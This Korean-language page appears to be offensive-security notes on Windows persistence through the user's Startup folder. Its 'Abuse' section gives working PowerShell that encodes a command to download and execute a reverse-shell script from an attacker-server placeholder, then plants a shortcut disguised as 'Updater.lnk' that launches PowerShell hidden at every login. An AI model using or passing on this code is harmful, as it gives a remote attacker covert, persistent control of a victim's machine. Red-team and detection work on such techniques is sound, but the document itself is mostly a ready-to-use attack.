Startup Folder
$env:AppData\Microsoft\Windows\Start Menu\Programs\Startup
경로를 시작 프로그램 폴더라고 부르며, 이 위치에 있는 프로그램은 폴더를 소유한 계정이 로그인 될 때마다 자동으로 실행됩니다.
Abuse
# 공격자 서버로 연결을 시도하는 스크립트 URL 입력 및 인코딩
$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
<-- Base64 Encoded Command -->
# 파워쉘을 통해 현재 사용자의 시작 프로그램 폴더에 lnk 파일 생성
$WshShell = New-Object -ComObject WScript.Shell
$StartupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk"
$Shortcut = $WshShell.CreateShortcut($StartupPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -enc <Base64 Encoded Command>"
$Shortcut.WorkingDirectory = "C:\Windows\System32"
$Shortcut.WindowStyle = 7
$Shortcut.Save()
Last updated
Was this helpful?